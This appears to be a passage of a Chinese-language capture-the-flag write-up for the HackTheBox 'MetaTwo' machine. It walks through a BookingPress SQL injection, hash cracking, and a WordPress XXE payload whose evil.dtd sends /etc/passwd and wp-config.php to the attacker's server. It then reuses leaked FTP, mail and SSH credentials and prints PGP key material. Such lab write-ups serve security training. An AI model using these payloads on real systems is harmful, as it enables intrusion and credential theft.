    [15:38:24] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/metapress.htb'

    [*] ending @ 15:38:24 /2024-09-15/

    得到了用户密码哈希。

    1
    2
    admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
    manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

    方法2

    使用exp: https://github.com/destr4ct/CVE-2022-0739/blob/main/booking-press-expl.py

    运行,很快就出结果了:

    1
    2
    3
    4
    5
    6
    7
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
    └─# python3 booking-press-expl.py -u http://metapress.htb/ -n 1d0870781e
    - BookingPress PoC
    -- Got db fingerprint: 10.5.15-MariaDB-0+deb11u1
    -- Count of users: 2
    |admin|admin@metapress.htb|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
    |manager|manager@metapress.htb|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|

    方法3

    msf一把梭:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    msf6 > search bookingpress

    Matching Modules
    ================

    # Name Disclosure Date Rank Check Description
    - ---- --------------- ---- ----- -----------
    0 auxiliary/gather/wp_bookingpress_category_services_sqli 2022-02-28 normal Yes Wordpress BookingPress bookingpress_front_get_category_services SQLi


    Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/wp_bookingpress_category_services_sqli

    msf6 > use 0
    msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set RHOST metapress.htb
    RHOST => metapress.htb
    msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > set TARGETURI /events/
    TARGETURI => /events/
    msf6 auxiliary(gather/wp_bookingpress_category_services_sqli) > run
    [*] Running module against 10.129.231.241

    [*] Running automatic check ("set AutoCheck false" to disable)
    [+] The target is vulnerable.
    [*] Extracting credential information
    Wordpress User Credentials
    ==========================

    Username Email Hash
    -------- ----- ----
    admin admin@metapress.htb $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
    manager manager@metapress.htb $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

    [*] Auxiliary module execution completed

    爆破哈希

    将哈希值保存到文件

    1
    2
    3
    4
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
    └─# cat user.hash
    admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
    manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

    使用kali自带工具John The Ripper 对哈希进行爆破

    爆破结果:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
    └─# john --wordlist=/usr/share/wordlists/rockyou.txt user.hash
    Created directory: /root/.john
    Using default input encoding: UTF-8
    Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 ASIMD 4x2])
    Cost 1 (iteration count) is 8192 for all loaded hashes
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    partylikearockstar (manager)

    用户名密码:

    1
    manager:partylikearockstar

    利用XXE漏洞获得user_flag

    用此密码登陆到默认目录:/wp-admin

    根据网上查到到的信息,此版本的wordpress存在XXE漏洞CVE-2021-29447

    https://wpscan.com/wordpress/562/

    https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5/

    https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

    https://tryhackme.com/r/room/wordpresscve202129447

    We need two files, payload.wav and evil.dtd .

    1
    2
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
    └─# echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.8:8080/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

    Note: Make sure to input the IP of your tun0 interface in the above payload.

    创建文件evil.dtd

    1
    2
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.8:8080/?p=%file;'>" >

    利用python开启http服务器。

    1
    python3 -m http.server 8080

    打开网页,向Wordpress Media Library中上传刚才创建的.wav文件

    上传文件后,我们会在 Web 服务器上收到以下包含 base64 编码数据的请求。

    upload

    1
    2
    3
    4
    5
    6
    7
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
    └─# python3 -m http.server 8080
    Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
    10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /evil.dtd HTTP/1.1" 200 -
    10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -
    10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /evil.dtd HTTP/1.1" 200 -
    10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -

    base64解码结果:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
    sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
    jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
    systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
    systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
    mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
    proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
    ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin

    根据此结果判断,有个叫jnelson的普通用户存在。

    修改evil.dtd文件内容,用于获取wp_config.php配置文件信息

    1
    2
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
    <!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.8:8080/?p=%file;'>" >

    重复上述上传过程,并解码返回的信息,得到如下内容:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    <?php
    /** The name of the database for WordPress */
    define( 'DB_NAME', 'blog' );

    /** MySQL database username */
    define( 'DB_USER', 'blog' );

    /** MySQL database password */
    define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

    /** MySQL hostname */
    define( 'DB_HOST', 'localhost' );

    /** Database Charset to use in creating database tables. */
    define( 'DB_CHARSET', 'utf8mb4' );

    /** The Database Collate type. Don't change this if in doubt. */
    define( 'DB_COLLATE', '' );

    define( 'FS_METHOD', 'ftpext' );
    define( 'FTP_USER', 'metapress.htb' );
    define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
    define( 'FTP_HOST', 'ftp.metapress.htb' );
    define( 'FTP_BASE', 'blog/' );
    define( 'FTP_SSL', false );

    /**#@+
    * Authentication Unique Keys and Salts.
    * @since 2.6.0
    */
    define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
    define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
    define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
    define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
    define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
    define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
    define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
    define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

    /**
    * WordPress Database Table prefix.
    */
    $table_prefix = 'wp_';

    /**
    * For developers: WordPress debugging mode.
    * @link https://wordpress.org/support/article/debugging-in-wordpress/
    */
    define( 'WP_DEBUG', false );

    /** Absolute path to the WordPress directory. */
    if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', __DIR__ . '/' );
    }

    /** Sets up WordPress vars and included files. */
    require_once ABSPATH . 'wp-settings.php';

    通过此信息,获得了FTP服务器的用户名和密码

    1
    2
    username : metapress.htb
    password : 9NYS_ii@FyL_p5M2NvJ

    连接到FTP服务器:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
    └─# ftp metapress.htb@$IP
    Connected to 10.129.231.241.
    220 ProFTPD Server (Debian) [::ffff:10.129.231.241]
    331 Password required for metapress.htb
    Password:
    230 User metapress.htb logged in
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp>

    在 ftp 服务器中,找到了邮件服务器的源代码和一个向所有用户发送电子邮件的脚本send_mail.php,其中包含 jnelson 用户的凭据

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    ftp> ls
    229 Entering Extended Passive Mode (|||15602|)
    150 Opening ASCII mode data connection for file list
    drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 2022 blog
    drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 2022 mailer
    226 Transfer complete
    ftp> cd mailer
    250 CWD command successful
    ftp> ls
    229 Entering Extended Passive Mode (|||2643|)
    150 Opening ASCII mode data connection for file list
    drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 2022 PHPMailer
    -rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 2022 send_email.php
    226 Transfer complete
    ftp> get send_email.php
    local: send_email.php remote: send_email.php
    229 Entering Extended Passive Mode (|||61637|)
    150 Opening BINARY mode data connection for send_email.php (1126 bytes)
    100% |**************************************************************| 1126 15.12 MiB/s 00:00 ETA
    226 Transfer complete
    1126 bytes received in 00:00 (145.75 KiB/s)

    在ftp中使用get命令将此文件下载到本地查看:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    <?php
    /*
    * This script will be used to send an email to all our users when ready for launch
    */

    use PHPMailer\PHPMailer\PHPMailer;
    use PHPMailer\PHPMailer\SMTP;
    use PHPMailer\PHPMailer\Exception;

    require 'PHPMailer/src/Exception.php';
    require 'PHPMailer/src/PHPMailer.php';
    require 'PHPMailer/src/SMTP.php';

    $mail = new PHPMailer(true);

    $mail->SMTPDebug = 3;
    $mail->isSMTP();

    $mail->Host = "mail.metapress.htb";
    $mail->SMTPAuth = true;
    $mail->Username = "jnelson@metapress.htb";
    $mail->Password = "Cb4_JmWM8zUZWMu@Ys";
    $mail->SMTPSecure = "tls";
    $mail->Port = 587;

    $mail->From = "jnelson@metapress.htb";
    $mail->FromName = "James Nelson";

    $mail->addAddress("info@metapress.htb");

    $mail->isHTML(true);

    $mail->Subject = "Startup";
    $mail->Body = "<i>We just started our new blog metapress.htb!</i>";

    try {
    $mail->send();
    echo "Message has been sent successfully";
    } catch (Exception $e) {
    echo "Mailer Error: " . $mail->ErrorInfo;
    }

    结合之前获得的/etc/passwd文件,有个叫jnelson的用户存在,在此处获得了密码。

    1
    2
    $mail->Username = "jnelson@metapress.htb";                 
    $mail->Password = "Cb4_JmWM8zUZWMu@Ys";

    利用ssh登陆:

    1
    ssh jnelson@$IP

    flag1

    获取到user_flag:

    1
    0a432515f485c621b015cefe55d1e72e

    提权获得root_flag

    查看到其中有一个隐藏文件夹passpie

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    jnelson@meta2:~$ ls -la
    total 32
    drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 2022 .
    drwxr-xr-x 3 root root 4096 Oct 5 2022 ..
    lrwxrwxrwx 1 root root 9 Jun 26 2022 .bash_history -> /dev/null
    -rw-r--r-- 1 jnelson jnelson 220 Jun 26 2022 .bash_logout
    -rw-r--r-- 1 jnelson jnelson 3526 Jun 26 2022 .bashrc
    drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 2022 .local
    dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 2022 .passpie
    -rw-r--r-- 1 jnelson jnelson 807 Jun 26 2022 .profile
    -rw-r----- 1 root jnelson 33 Sep 15 05:47 user.txt

    上网查到,这是一个python写的密码管理器。

    根据官网文档,可以使用命令导出密码。

    1
    passpie export password.db

    The .keys file contains gpg keys which contain the passpie passphrase.

    1
    2
    3
    4
    5
    6
    7
    jnelson@meta2://home/jnelson/.passpie$ ls -la
    total 24
    dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 2022 .
    drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 2022 ..
    -r-xr-x--- 1 jnelson jnelson 3 Jun 26 2022 .config
    -r-xr-x--- 1 jnelson jnelson 5243 Jun 26 2022 .keys
    dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 2022 ssh
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    jnelson@meta2://home/jnelson/.passpie$ cat .keys 
    -----BEGIN PGP PUBLIC KEY BLOCK-----

    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
    fo6KI+w2uXLaw+bIT1XZurDN
    =dqsF
    -----END PGP PUBLIC KEY BLOCK-----
    -----BEGIN PGP PRIVATE KEY BLOCK-----

    lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
    AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
    /GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
    3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
    ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
    gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
    5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
    tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
    a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
